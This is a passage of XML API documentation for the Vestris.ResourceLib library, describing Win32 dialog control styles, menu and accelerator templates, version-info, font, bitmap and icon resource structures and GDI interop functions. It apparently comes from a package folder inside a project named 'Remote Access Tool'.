color scheme. Specifies a box with a frame drawn with the same color as the window background. This color is white in the default color scheme. Specifies a simple rectangle and displays a single line of left-aligned text in the rectangle. The text line cannot be shortened or altered in any way. Also, if the control is disabled, the control does not gray its text. Specifies a simple rectangle and left-aligns the text in the rectangle. Tabs are expanded, but words are not wrapped. Text that extends past the end of a line is clipped. Specifies that the owner of the static control is responsible for drawing the control. The owner window receives a WM_DRAWITEM message whenever the control needs to be drawn. Specifies that a bitmap is to be displayed in the static control. The text is the name of a bitmap (not a filename) defined elsewhere in the resource file. The style ignores the nWidth and nHeight parameters; the control automatically sizes itself to accommodate the bitmap. Specifies that an enhanced metafile is to be displayed in the static control. The text is the name of a metafile. An enhanced metafile static control has a fixed size; the metafile is scaled to fit the static control's client area. Draws the top and bottom edges of the static control using the EDGE_ETCHED edge style. Draws the left and right edges of the static control using the EDGE_ETCHED edge style. Draws the frame of the static control using the EDGE_ETCHED edge style. Windows 2000: A composite style bit that results from using the OR operator on SS_* style bits. Can be used to mask out valid SS_* bits from a given bitmask. Note that this is out of date and does not correctly include all valid styles. Thus, you should not use this style. Windows XP or later: Adjusts the bitmap to fit the size of the static control. For example, changing the locale can change the system font, and thus controls might be resized. If a static control had a bitmap, the bitmap would no longer fit the control. This style bit dictates automatic redimensioning of bitmaps to fit their controls. Prevents interpretation of any ampersand characters in the control's text as accelerator prefix characters. These are displayed with the ampersand removed and the next character in the string underlined. This static control style may be included with any of the defined static controls. You can combine SS_NOPREFIX with other styles. This can be useful when filenames or other strings that may contain an ampersand must be displayed in a static control in a dialog box. Sends the parent window STN_CLICKED, STN_DBLCLK, STN_DISABLE, and STN_ENABLE notification messages when the user clicks or double-clicks the control. Specifies that a bitmap is centered in the static control that contains it. The control is not resized, so that a bitmap too large for the control will be clipped. If the static control contains a single line of text, the text is centered vertically in the client area of the control. Specifies that the lower right corner of a static control with the SS_BITMAP or SS_ICON style is to remain fixed when the control is resized. Only the top and left sides are adjusted to accommodate a new bitmap or icon. Specifies that the actual resource width is used and the icon is loaded using LoadImage. SS_REALSIZEIMAGE is always used in conjunction with SS_ICON. Draws a half-sunken border around a static control. Microsoft Windows 2000: Specifies that the static control duplicates the text-displaying characteristics of a multiline edit control. Specifically, the average character width is calculated in the same manner as with an edit control, and the function does not display a partially visible last line. Microsoft Windows NT or later: If the end of a string does not fit in the rectangle, it is truncated and ellipses are added. If a word that is not at the end of the string goes beyond the limits of the rectangle, it is truncated without ellipses. Using this style will force the control’s text to be on one line with no word wrap. Compare with SS_PATHELLIPSIS and SS_WORDELLIPSIS. Windows NT or later: Replaces characters in the middle of the string with ellipses so that the result fits in the specified rectangle. If the string contains backslash (\) characters, SS_PATHELLIPSIS preserves as much as possible of the text after the last backslash. Using this style will force the control’s text to be on one line with no word wrap. Compare with SS_ENDELLIPSIS and SS_WORDELLIPSIS. Windows NT or later: Truncates any word that does not fit in the rectangle and adds ellipses. Using this style will force the control’s text to be on one line with no word wrap. Push button styles. http://msdn.microsoft.com/en-us/library/bb775951(VS.85).aspx Creates a push button that posts a WM_COMMAND message to the owner window when the user selects the button. Creates a push button that behaves like a BS_PUSHBUTTON style button, but has a distinct appearance. If the button is in a dialog box, the user can select the button by pressing the ENTER key, even when the button does not have the input focus. This style is useful for enabling the user to quickly select the most likely (default) option. Creates a small, empty check box with text. By default, the text is displayed to the right of the check box. To display the text to the left of the check box, combine this flag with the BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style). Creates a button that is the same as a check box, except that the check state automatically toggles between checked and cleared each time the user selects the check box. Creates a small circle with text. By default, the text is displayed to the right of the circle. To display the text to the left of the circle, combine this flag with the BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style). Use radio buttons for groups of related, but mutually exclusive choices. Creates a button that is the same as a check box, except that the box can be grayed as well as checked or cleared. Use the grayed state to show that the state of the check box is not determined. Creates a button that is the same as a three-state check box, except that the box changes its state when the user selects it. The state cycles through checked, indeterminate, and cleared. Creates a rectangle in which other controls can be grouped. Any text associated with this style is displayed in the rectangle's upper left corner. Obsolete, but provided for compatibility with 16-bit versions of Windows. Applications should use BS_OWNERDRAW instead. Creates a button that is the same as a radio button, except that when the user selects it, the system automatically sets the button's check state to checked and automatically sets the check state for all other buttons in the same group to cleared. Creates an owner-drawn button. The owner window receives a WM_DRAWITEM message when a visual aspect of the button has changed. Do not combine the BS_OWNERDRAW style with any other button styles. Microsoft Windows 2000: A composite style bit that results from using the OR operator on BS_* style bits. It can be used to mask out valid BS_* bits from a given bitmask. Places text on the left side of the radio button or check box when combined with a radio button or check box style. Same as the BS_RIGHTBUTTON style. Specifies that the button displays text. Specifies that the button displays an icon. Specifies that the button displays a bitmap. See the Remarks section for its interaction with BS_ICON. Left-justifies the text in the button rectangle. However, if the button is a check box or radio button that does not have the BS_RIGHTBUTTON style, the text is left justified on the right side of the check box or radio button. Right-justifies text in the button rectangle. However, if the button is a check box or radio button that does not have the BS_RIGHTBUTTON style, the text is right justified on the right side of the check box or radio button. Centers text horizontally in the button rectangle. Places text at the top of the button rectangle. Places text at the bottom of the button rectangle. Places text in the middle (vertically) of the button rectangle. Makes a button (such as a check box, three-state check box, or radio button) look and act like a push button. The button looks raised when it isn't pushed or checked, and sunken when it is pushed or checked. Wraps the button text to multiple lines if the text string is too long to fit on a single line in the button rectangle. Enables a button to send BN_KILLFOCUS and BN_SETFOCUS notification messages to its parent window. Specifies that the button is two-dimensional; it does not use the default shading to create a 3-D image. Microsoft Windows Vista and Version 6.00. Creates a split button that behaves like a BS_PUSHBUTTON style button, but also has a distinctive appearance. If the split button is in a dialog box, the user can select the split button by pressing the ENTER key, even when the split button does not have the input focus. This style is useful for enabling the user to quickly select the most likely (default) option. Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like a BS_PUSHBUTTON style button, but the command link button has a green arrow on the left pointing to the button text. A caption for the button text can be set by sending the BCM_SETNOTE message to the button. Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like a BS_PUSHBUTTON style button. If the button is in a dialog box, the user can select the command link button by pressing the ENTER key, even when the command link button does not have the input focus. This style is useful for enabling the user to quickly select the most likely (default) option. Edit control styles. http://msdn.microsoft.com/en-us/library/bb775464(VS.85).aspx Aligns text with the left margin. Windows 98/Me, Windows 2000/XP: Centers text in a single-line or multiline edit control. Windows 95, Windows NT 4.0 and earlier: Centers text in a multiline edit control. Windows 98/Me, Windows 2000/XP: Right-aligns text in a single-line or multiline edit control. Windows 95, Windows NT 4.0 and earlier: Right aligns text in a multiline edit control. Designates a multiline edit control. The default is single-line edit control. Converts all characters to uppercase as they are typed into the edit control. Converts all characters to lowercase as they are typed into the edit control. Displays an asterisk (*) for each character typed into the edit control. This style is valid only for single-line edit controls. Automatically scrolls text up one page when the user presses the ENTER key on the last line. Automatically scrolls text to the right by 10 characters when the user types a character at the end of the line. When the user presses the ENTER key, the control scrolls all text back to position zero. Negates the default behavior for an edit control. Converts text entered in the edit control. Prevents the user from typing or editing text in the edit control. Specifies that a carriage return be inserted when the user presses the ENTER key while entering text into a multiline edit control in a dialog box. If you do not specify this style, pressing the ENTER key has the same effect as pressing the dialog box's default push button. This style has no effect on a single-line edit control. Allows only digits to be entered into the edit control. Defines the header for a menu template. A complete menu template consists of a header and one or more menu item lists. Specifies the version number. This member must be zero. Specifies the offset, in bytes, from the end of the header. The menu item list begins at this offset. Usually, this member is zero, and the menu item list follows immediately after the header. Defines a menu item in a menu template. Specifies one or more of the following predefined menu options that control the appearance of the menu item. TODO Defines the header for an extended menu template. Template version number. This member must be 1 for extended menu templates. Offset of the first MENUEXITEMTEMPLATE structure, relative to the end of this structure member. If the first item definition immediately follows the dwHelpId member, this member should be 4. Drop-down menu or submenu item. Menu item type. This member can be a combination of the type (beginning with MFT) values listed with the MENUITEMINFO structure. Menu item state. This member can be a combination of the state (beginning with MFS) values listed with the MENUITEMINFO structure. Menu item identifier. This is an application-defined value that identifies the menu item. Value specifying whether the menu item is the last item in the menu bar, drop-down menu, submenu, or shortcut menu and whether it is an item that opens a drop-down menu or submenu. Specifies one or more of the following predefined menu options that control the appearance of the menu item. Indicates that the menu item is initially inactive and drawn with a gray effect. Indicates that the menu item has a check mark next to it. Indicates that the owner window of the menu is responsible for drawing all visual aspects of the menu item, including highlighted, selected, and inactive states. This option is not valid for an item in a menu bar. Indicates that the item is one that opens a drop-down menu or submenu. Indicates that the menu item is placed in a new column. The old and new columns are separated by a bar. Indicates that the menu item is placed in a new column. Indicates that the menu item has a vertical separator to its left. Specifies whether the menu item is the last item in the menu bar, drop-down menu, submenu, or shortcut menu and whether it is an item that opens a drop-down menu or submenu. This member can be zero or more of these values. Defines the last menu item in the menu bar, drop-down menu, submenu, or shortcut menu. Defines a item that opens a drop-down menu or submenu. Subsequent structures define menu items in the corresponding drop-down menu or submenu. Defines an accelerator key used in an accelerator table. http://msdn.microsoft.com/en-us/library/ms646340(VS.85).aspx Accelerator flags. Accelerator key. This member can be either a virtual-key code or an ASCII character code. Accelerator identifier. Flags, fVirt field of the Accelerator table structure. Virtual key. Specifies that no top-level menu item is highlighted when the accelerator is used. This is useful when defining accelerators for actions such as scrolling that do not correspond to a menu item. If NOINVERT is omitted, a top-level menu item will be highlighted (if possible) when the accelerator is used. Causes the accelerator to be activated only if the SHIFT key is down. Applies only to virtual keys. Causes the accelerator to be activated only if the CONTROL key is down. Applies only to virtual keys. Causes the accelerator to be activated only if the ALT key is down. Applies only to virtual keys. Virtual key definitions. Standard virtual left mouse button. Standard virtual right mouse button. Ctrl-Break / Ctrl-C. Standard virtual middle mouse button. Backspace. Tab. Delete. Return. Shift. Control. Menu. Pause. Caps lock. Escape. Space. End. Home. Left arrow. Up arrow. Right arrow. Down arrow. Print Screen. Insert. Delete. NEC PC-9800 keyboard '=' key on numpad. Fujitsu/OASYS keyboard 'Dictionary' key. Fujitsu/OASYS keyboard 'Unregister word' key. Fujitsu/OASYS keyboard 'Register word' key. Fujitsu/OASYS keyboard 'Left OYAYUBI' key. Fujitsu/OASYS keyboard 'Right OYAYUBI' key. ';:' for US '+' any country ',' any country '-' any country '.' any country '/?' for US '`~' for US '[{' for US '\|' for US ']}' for US ''"' for US 'AX' key on Japanese AX kbd "<>" or "\|" on RT 102-key kbd. Help key on ICO 00 key on ICO Contains information about an individual font in a font resource group. Specifies a user-defined version number for the resource data that tools can use to read and write resource files. Specifies the size of the file, in bytes. Contains a 60-character string with the font supplier's copyright information. Specifies the type of font file. Specifies the point size at which this character set looks best. Specifies the vertical resolution, in dots per inch, at which this character set was digitized. Specifies the horizontal resolution, in dots per inch, at which this character set was digitized. Specifies the distance from the top of a character definition cell to the baseline of the typographical font. Specifies the amount of leading inside the bounds set by the dfPixHeight member. Accent marks and other diacritical characters can occur in this area. Specifies the amount of extra leading that the application adds between rows. Specifies an italic font if not equal to zero. Specifies an underlined font if not equal to zero. Specifies a strikeout font if not equal to zero. Specifies the weight of the font in the range 0 through 1000. For example, 400 is roman and 700 is bold. If this value is zero, a default weight is used. Specifies the character set of the font. Specifies the width of the grid on which a vector font was digitized. For raster fonts, if the member is not equal to zero, it represents the width for all the characters in the bitmap. If the member is equal to zero, the font has variable-width characters. Specifies the height of the character bitmap for raster fonts or the height of the grid on which a vector font was digitized. Specifies the pitch and the family of the font. Specifies the average width of characters in the font (generally defined as the width of the letter x). This value does not include the overhang required for bold or italic characters. Specifies the width of the widest character in the font. Specifies the first character code defined in the font. Specifies the last character code defined in the font. Specifies the character to substitute for characters not in the font. Specifies the character that will be used to define word breaks for text justification. Specifies the number of bytes in each row of the bitmap. This value is always even so that the rows start on word boundaries. For vector fonts, this member has no meaning. Specifies the offset in the file to a null-terminated string that specifies a device name. For a generic font, this value is zero. Specifies the offset in the file to a null-terminated string that names the typeface. This member is reserved. This structure depicts the organization of data in a file-version resource. It contains version information not dependent on a particular language and code page combination. http://msdn.microsoft.com/en-us/library/aa909193.aspx A hardware independent dictionary of language and code page identifier tables. A new hardware independent dictionary of language and code page identifier tables. An existing hardware independent dictionary of language and code page identifier tables. Pointer to the beginning of data. Read a hardware independent dictionary of language and code page identifier tables. Pointer to the beginning of data. Pointer to the end of data. Write the hardware independent dictionary of language and code page identifier tables to a binary stream. Binary stream. The default language and code page identifier table. Returns a language and code page identifier table. Language ID. A language and code page identifier table. String representation of VarFileInfo. Indent. String in the VarFileInfo format. This structure depicts the organization of data in a file-version resource. It typically contains a list of language and code page identifier pairs that the version of the application or DLL supports. http://msdn.microsoft.com/en-us/library/bb202818.aspx A dictionary of language and code page identifier pairs. A new table of language and code page identifier pairs. A new table of language and code page identifier pairs. Table key. An existing table of language and code page identifier pairs. Pointer to the beginning of the data. Read a table of language and code page identifier pairs. Pointer to the beginning of the data. Write the table of language and code page identifier pairs to a binary stream. Binary stream. Last unpadded position. Returns a code page identifier for a given language. Language ID. Code page identifier. String representation of the var table. Indent. String representation of the var table. VS_VERSIONINFO This structure depicts the organization of data in a file-version resource. It is the root structure that contains all other file-version information structures. http://msdn.microsoft.com/en-us/library/aa914916.aspx The resource header. A dictionary of resource tables. An existing version resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new language-netural version resource. Read a version resource from a previously loaded module. Module handle. Pointer to the beginning of the resource. Pointer to the end of the resource. String representation of the file version. Gets or sets a bitmask that specifies the Boolean attributes of the file. String representation of the protect version. Write this version resource to a binary stream. Binary stream. Returns an entry within this resource table. Entry key. A resource table. Returns an entry within this resource table. Entry index. A resource table. Return string representation of the version resource. winver.h, version management functions, types and definitions VS_VERSION signature. VS_VERSION structure version. VS_VERSION file flags mask. VS_VERSION file flags. The file contains debugging information. The file is a prerelease development version, not a final commercial release. PThe file has been modified somehow and is not identical to the original file that shipped with the product. The file was not built using standard release procedures. There should be data in the file's "PrivateBuild" version information string. The version information in this structure was not found inside the file, but instead was created when needed based on the best information available. Therefore, this structure's information may differ slightly from what the "real" values are. The file was built using standard release procedures, but is somehow different from the normal file having the same version number. There should be data in the file's "SpecialBuild" version information string. VS_VERSION file OSs. The operating system under which the file was designed to run could not be determined. The file was designed to run under MS-DOS. The file was designed to run under a 16-bit version of OS/2. The file was designed to run under a 32-bit version of OS/2. The file was designed to run under Windows NT/2000. The file was designed to run under the 16-bit Windows API. The file was designed to be run under a 16-bit version of Presentation Manager. The file was designed to be run under a 32-bit version of Presentation Manager. The file was designed to run under the 32-bit Windows API. VS_VERSION file types. The type of file could not be determined. The file is an application. The file is a Dynamic Link Library (DLL). The file is a device driver. dwFileSubtype contains more information. The file is a font. dwFileSubtype contains more information. The file is a virtual device. The file is a static link library. File sub-type. The type of driver could not be determined. The file is a printer driver. The file is a keyboard driver. The file is a language driver. The file is a display driver. The file is a mouse driver. The file is a network driver. The file is a system driver. The file is an installable driver. The file is a sound driver. The file is a communications driver. The file is an input method driver. The file is a versioned printer driver. The file is a raster font. The file is a vector font. The file is a TrueType font. ================================================ FILE: Remote Access Tool/packages/Vestris.ResourceLib.2.1.0/lib/net45/Vestris.ResourceLib.xml ================================================ Vestris.ResourceLib Standard accelerator. Read the accelerator. Address in memory. Write accelerator to a binary stream. Binary stream. String representation of the accelerator key. An unsigned integer value that identifies the accelerator. String representation of the accelerator. String representation of the accelerator. An accelerator, RT_ACCELERATOR resource. An accelerator provides the user with access to an application's command set. Accelerator keys. A new accelerator resource. An existing accelerator resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. Read the accelerators table. Handle to a module. Pointer to the beginning of the accelerator table. Address of the end of the accelerator table. String representation of the accelerators resource. Creates an 8 bit aligned copy of the buffer if it is not already aligned A bitmap file in a .bmp format. Device independent bitmap. An existing bitmap file. A file in a .bmp format. An embedded bitmap resource. An existing bitmap resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new bitmap resource. Read the resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the bitmap resource to a binary stream. Binary stream. A device independent bitmap. This structure depicts the organization of data in a hardware-independent cursor resource. A hardware-independent cursor resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new hardware-independent cursor resource. A new collection of cursors that can be embedded into an executable file. This structure depicts the organization of data in a cursor resource. An existing cursor resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new cursor resource. Convert into an icon resource that can be written into an executable. Icon image. Icon Id. Language. An icon resource. Horizontal hotspot coordinate. The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. Vertical hot spot coordinate. The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. Write the cursor data to a file. Target executable file. Read DIB image. DIB bits. DIB size. A device-independent image consists of a BITMAPINFOHEADER where bmWidth is the width of the image andbmHeight is double the height of the image, followed by the bitmap color table, followed by the image pixels, followed by the mask pixels. Raw image data. Bitmap info header. Bitmap size in bytes. A new icon image. A device-independent bitmap. Bitmap data. Create a copy of an image. Source image. Read icon data. Pointer to the beginning of icon data. Icon data size. Size of the image mask. Position of the DIB bitmap bits within a DIB bitmap array. Number of colors in the palette. Returns the width of a row in a DIB Bitmap given the number of bits. DIB Bitmap rows always align on a DWORD boundary. Number of bits. Width of a row in bytes. Bitmap monochrome mask. Bitmap color (XOR) part of the image. Complete image. A container for the DIALOGTEMPLATEEX structure. Indicates the character set to use. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Weight of the font. Indicates whether the font is italic. Number of dialog items. An extended dialog structure. Read the dialog resource. Pointer to the beginning of the dialog structure. Write dialog control to a binary stream. Binary stream. String representation of the dialog. String in the DIALOGEX [dialog] format. A container for the DIALOGTEMPLATEEX structure. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Control identifier. An extended dialog control template structure. Read the dialog control. Pointer to the beginning of the dialog structure. Write the dialog control to a binary stream. Binary stream. Return a string representation of the dialog control. A single line in the "CLASS name id, dimensions and styles' format. A dialog template resource. A dialog template structure that describes the dialog. A structured dialog resource embedded in an executable module. Module handle. Resource handle. Type of resource. Resource name. Language id. Resource size. A structured dialog resource embedded in an executable module. Dialog resource in standard resource editor text format. Multi-line string. A container for the DIALOGTEMPLATE structure. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Number of dialog items. A standard dialog structure. Read the dialog resource. Pointer to the beginning of the dialog structure. Write the dialog template data to a binary stream. Binary stream. Returns a string representation of the dialog. String in the DIALOG ... format. A dialog template. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Style of the dialog box. Optional extended style of the dialog box. Number of items in this structure. The name of the typeface for the font. Point size of the font to use for the text in the dialog box and its controls. Dialog caption. Menu resource Id. Window class Id. Controls within this dialog. Dialog template representation in a standard text format. Multiline string. String represetnation of a control. Write the resource to a binary stream. Binary stream. A container for a control within a dialog template. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Control identifier. A standard dialog control structure. Write the dialog control to a binary stream. Binary stream. String represetnation of a control. A dialog template. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Style of the dialog box. Optional extended style of the dialog box. Dialog caption. Window class Id. Window class of the control. Additional creation data. Write the dialog control to a binary stream. Binary stream. Dialog template utility functions. Read a dialog resource id. Address in memory. Resource read. String representation of the dialog or control style of two types. Dialog or control style. String in the "s1 | s2 | ... | s3" format. String representation of the dialog or control styles of two types. Dialog or control style. Dialog or control extended style. String in the "s1 | s2 | ... | s3" format. String representation of the dialog or control style of one type. Dialog or control style. String in the "s1 | s2 | ... | s3" format. This structure depicts the organization of data in a hardware-independent icon resource. Returns the type of the resource in this group. Icons contained in this hardware-independent icon resource. A hardware-independent icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new hardware-independent icon resource. Save a hardware-independent icon resource to an executable file. Name of an executable file (.exe or .dll). Read a hardware-independent icon resource from a loaded module. Loaded executable module. Pointer to the beginning of a hardware-independent icon resource. Pointer to the end of the hardware-independent icon resource. Write a hardware-independent icon resource to a binary stream. Binary stream. Fixed file information. Default Windows fixed file information. Fixed file info structure. Read the fixed file information structure. Address in memory. String representation of the file version. String representation of the protect version. Gets or sets a bitmask that specifies the Boolean attributes of the file. Write fixed file information to a binary stream. Binary stream. Size of the VS_FIXEDFILEINFO structure. String representation of the fixed file info. String representation of the fixed file info. A font directory entry. Font ordinal. Typeface name of the font. Specifies the name of the device if this font file is designated for a specific device. Font information. A new font directory entry. Read the font directory entry. Pointer in memory. Pointer to the end of the font directory entry. Write the font directory entry to a binary stream. Binary stream. A font directory, RT_FONTDIR resource. Number of fonts in this directory. A new font resource. An existing font resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. Read the font resource. Handle to a module. Pointer to the beginning of the font structure. Address of the end of the font structure. Write the font directory to a binary stream. Binary stream. A font, RT_FONT resource. A new font resource. An existing font resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. Read the font resource. Handle to a module. Pointer to the beginning of the font structure. Address of the end of the font structure. Write the font resource to a binary writer. Binary writer. Gdi32.dll interop functions. Bitmap compression options. An uncompressed format. A run-length encoded (RLE) format for bitmaps with 8 bpp. The compression format is a 2-byte format consisting of a count byte followed by a byte containing a color index. For more information, see Bitmap Compression. An RLE format for bitmaps with 4 bpp. The compression format is a 2-byte format consisting of a count byte followed by two word-length color indexes. For more information, see Bitmap Compression. Specifies that the bitmap is not compressed and that the color table consists of three DWORD color masks that specify the red, green, and blue components, respectively, of each pixel. This is valid when used with 16- and 32-bpp bitmaps. Windows 98/Me, Windows 2000/XP: Indicates that the image is a JPEG image. Windows 98/Me, Windows 2000/XP: Indicates that the image is a PNG image. A bitmap info header. See http://msdn.microsoft.com/en-us/library/ms532290.aspx for more information. Bitmap information size. Bitmap width. Bitmap height. Number of logical planes. Bitmap bitrate. Bitmap compression. Image size. Horizontal pixel resolution. Vertical pixel resolution. Returns the current bitmap compression. Bitmap pixel format. Bitmap pixel format English standard string. Defines the dimensions and color information of a Windows-based device-independent bitmap (DIB). http://msdn.microsoft.com/en-us/library/dd183375(VS.85).aspx. Specifies a bitmap information header structure that contains information about the dimensions of color format. An array of RGBQUAD. The elements of the array make up the color table. Store colors in a paletised icon (2, 4 or 8 bit). http://msdn.microsoft.com/en-us/library/ms997538.aspx Blue. Green. Red. Reserved. The BITMAPFILEHEADER structure contains information about the type, size, and layout of a file that contains a DIB. http://msdn.microsoft.com/en-us/library/dd183374(VS.85).aspx The file type; must be BM. The size, in bytes, of the bitmap file. Reserved; must be zero. Reserved; must be zero. The offset, in bytes, from the beginning of the BITMAPFILEHEADER structure to the bitmap bits. Set the pixels in the specified rectangle on the device that is associated with the destination device context using color data from a DIB, JPEG, or PNG image. http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx A handle to the device context. The x-coordinate, in logical units, of the upper-left corner of the destination rectangle. The y-coordinate, in logical units, of the upper-left corner of the destination rectangle. The width, in logical units, of the image. The height, in logical units, of the image. The x-coordinate, in logical units, of the lower-left corner of the image. The y-coordinate, in logical units, of the lower-left corner of the image. The starting scan line in the image. The number of DIB scan lines contained in the array pointed to by the lpvBits parameter. A pointer to the color data stored as an array of bytes. A pointer to a BITMAPINFOHEADER structure that contains information about the DIB. Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette. If the function succeeds, the return value is the number of scan lines set. If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero. If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. Set the pixels in the specified rectangle on the device that is associated with the destination device context using color data from a DIB, JPEG, or PNG image. http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx A handle to the device context. The x-coordinate, in logical units, of the upper-left corner of the destination rectangle. The y-coordinate, in logical units, of the upper-left corner of the destination rectangle. The width, in logical units, of the image. The height, in logical units, of the image. The x-coordinate, in logical units, of the lower-left corner of the image. The y-coordinate, in logical units, of the lower-left corner of the image. The starting scan line in the image. The number of DIB scan lines contained in the array pointed to by the lpvBits parameter. A pointer to the color data stored as an array of bytes. A pointer to a BITMAPINFOHEADER structure that contains information about the DIB. Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette. If the function succeeds, the return value is the number of scan lines set. If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero. If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. Retrieves the bits of the specified compatible bitmap and copies them into a buffer as a DIB using the specified format A handle to the device context. A handle to the bitmap. This must be a compatible bitmap (DDB). The first scan line to retrieve. The number of scan lines to retrieve. A pointer to a buffer to receive the bitmap data. A pointer to a BITMAPINFO structure that specifies the desired format for the DIB data. The format of the bmiColors member of the BITMAPINFO structure. If the lpvBits parameter is non-NULL and the function succeeds, the return value is the number of scan lines copied from the bitmap. If the lpvBits parameter is NULL and GetDIBits successfully fills the BITMAPINFO structure, the return value is non-zero. If the function fails, the return value is zero. Create a DIB that applications can write to directly. The function gives you a pointer to the location of the bitmap bit values. You can supply a handle to a file-mapping object that the function will use to create the bitmap, or you can let the system allocate the memory for the bitmap. Handle to a device context. A pointer to a BITMAPINFO structure that specifies various attributes of the DIB, including the bitmap dimensions and colors. The type of data contained in the bmiColors array member of the BITMAPINFO structure pointed to by pbmi (either logical palette indexes or literal RGB values). A pointer to a variable that receives a pointer to the location of the DIB bit values. A handle to a file-mapping object that the function will use to create the DIB. This parameter can be NULL. The offset from the beginning of the file-mapping object referenced by hSection where storage for the bitmap bit values is to begin. If the function succeeds, the return value is a handle to the newly created DIB, and *ppvBits points to the bitmap bit values. If the function fails, the return value is NULL, and *ppvBits is NULL. Defines how to interpret the values in the color table of a DIB. The color table contains literal RGB values. The color table consists of an array of 16-bit indexes into the LogPalette object that is currently defined in the playback device context. No color table exists. The pixels in the DIB are indices into the current logical palette in the playback device context. Creates a memory device context (DC) compatible with the specified device. Handle to an existing device context. The handle to a memory device context indicates success. NULL indicates failure. Specifies either DISPLAY or the name of a specific display device or the name of a print provider, which is usually WINSPOOL. Specifies the name of the specific output device being used, as shown by the Print Manager (for example, Epson FX-80). This parameter is ignored and should be set to NULL. It is provided only for compatibility with 16-bit Windows. A pointer to a DEVMODE structure containing device-specific initialization data for the device driver. Creates a bitmap compatible with the device that is associated with the specified device context. A handle to a device context. The bitmap width, in pixels. The bitmap height, in pixels. If the function succeeds, the return value is a handle to the compatible bitmap (DDB). If the function fails, the return value is NULL. Selects an object into a specified device context. The new object replaces the previous object of the same type. Handle to the device context. Handle to the object to be selected. If the selected object is not a region, the handle of the object being replaced indicates success. If the selected object is a region, one of the following values indicates success. Deletes a logical pen, brush, font, bitmap, region, or palette, freeing all system resources associated with the object. Handle to a logical pen, brush, font, bitmap, region, or palette. Nonzero indicates success. Zero indicates that the specified handle is not valid or that the handle is currently selected into a device context. Deletes the specified device context. A handle to the device context. If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. A generic resource. Raw resource data. Raw resource data. An unstructured generic resource embedded in an executable module. Module handle. Resource handle. Type of resource. Resource name. Language id. Resource size. A generic resource. Resource name. Resource type. Resource language. Read a generic resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the resource to a binary stream. Binary stream. This structure depicts the organization of data in a hardware-independent icon resource. A hardware-independent icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new hardware-independent icon resource. A new collection of icons that can be embedded into an executable file. This structure depicts the organization of data in a .ico file. Resource type. Icon. Cursor. Type of the group icon resource. Collection of icons in an .ico file. An existing .ico file. An existing icon (.ico) file. Load from a .ico file. An existing icon (.ico) file. Read icons. Pointer to the beginning of a FILEGRPICONDIR structure. Pointer to the end of a FILEGRPICONDIR structure. This structure depicts the organization of icon data in a .ico file. Icon header. Icon bitmap. New icon data. Icon width. Icon height. Image size in bytes. Read a single icon (.ico). Pointer to the beginning of this icon's data. Pointer to the beginning of all icon data. Pointer to the end of this icon's data. Icon size as a string. Icon size in the width x height format. This structure depicts the organization of data in an icon resource. Directory header. Actual image. Hardware-independent icon directory header. Embedded icon Id. An icon image. An existing icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new icon resource. Create a new icon image resource from a file icon. File icon. Resource type. Resource id. Resource language. Icon width in pixels. Icon height in pixels. Image size in bytes. Read an icon resource from a previously loaded module. Module handle. Pointer to a directory entry in the hardware-independent icon resource. Pointer to the end of the icon resource. Read the bitmap image. DIB bits. Size of image. Icon pixel format. Icon pixel format English standard string. String representation of the icon. A string in a format of width x height followed by the pixel format. Write icon resource data to a binary stream. Binary stream. Save icon to a file. Target executable file. This structure depicts the organization of data in an icon resource. An existing icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new icon resource. Convert into an icon resource that can be written into an executable. Icon image. Icon Id. Resource language. An icon resource. Kernel32.dll interop functions. A resource header. Header length. Data length. Resource type. A new resource header of a given length. Resource header type. Binary data. String data. Language and code page combinations. The low-order word of each DWORD must contain a Microsoft language identifier, and the 